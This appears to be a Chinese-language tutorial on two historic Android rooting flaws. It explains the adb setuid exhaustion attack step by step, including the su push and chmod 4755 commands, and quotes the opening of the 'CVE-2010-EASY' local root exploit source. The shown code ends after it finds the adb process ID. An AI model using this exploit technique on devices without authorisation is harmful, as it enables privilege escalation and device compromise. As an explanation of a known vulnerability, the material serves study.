Android获取root的漏洞有两个——udev 漏洞和adb setuid exhaustion 攻击,我将分别作出介绍。并且依据udev漏洞制作了破解手机root权限的简单软件。
在介绍这种攻击方法的时候,首先要了解adb的概念,简而言之adb是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的andriod设备(如G1手机). 它的主要功能有:
* 运行设备的shell(命令行)
* 管理模拟器或设备的端口映射
* 计算机和设备之间上传/下载文件
* 将本地apk软件安装至模拟器或android设备
ADB是一个 客户端-服务器端 程序, 其中客户端是你用来操作的电脑, 服务器端是android设备。
我们知道Android系统是基于Linux内核的,这个攻击方法正式利用了setuid命令来获取root权限的。当手机连接电脑的时候,手机就会创建一个adb进程,来管理电脑客户端,通过对android源码的研究发现这个adb进程刚刚建立的时候是具有root权限的,当进程启动之后,adb会调用setuid命令来将自己权限变成普通的进程,但是源码中并没有对这一指令是否执行成功做出判断,这个漏洞可以让我们能通过某种手段来阻止setuid命令顺利进行从而获取root权限。
adb setuid exhaustion 攻击流程如下:
1. 首先漏洞代码会检查NPROC setting,也就是系统允许的用户进程的上限,
2. 代码会找到当前adb守护进程的pid号。
3.然后漏洞程序不断制造僵尸子进程,直到系统允许的最大值。
4.这时候漏洞程序会杀掉当前adb进程,并在产出出新的adb进程之前产生出一个新的子进程,保证用户进程数目在系统的上限。
5.当新的adb进程产生之后,它允许在root的状态,adb完成初始化操作之后会检查自己应该继续保持root权限还是要将自己的权限降为普通用户,这时候普通用户的进程数目还是最大值,所以当adb进程调用setuid试图降级自己的权限的时候并不能成功,adb进程还是以root权限允许,但是adb并没有检查setuid命令是否执行成功,这时候我们就获取了root权限。
6.在adb中执行adb push su /system/bin/su和adb shell "chmod 4755 /system/bin/su”这样用户程序可以随时通过su命令获取root权限了。
漏洞攻击文件源码分析如下:
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;
printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C ");
printf("[*] checking NPROC limit ... ");
//得到用户最多能创建的用户进程数目
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
die("[-] getrlimit");
if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting. ");
exit(1);
}
printf("[+] RLIMIT_NPROC={%lu, %lu} ", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ... ");
//找到adb进程的pid编号
adb_pid = find_adb();
if (!adb_pid)
die("[-] Cannot find adb");
printf("[+] Found adb as PID %d ", adb_pid);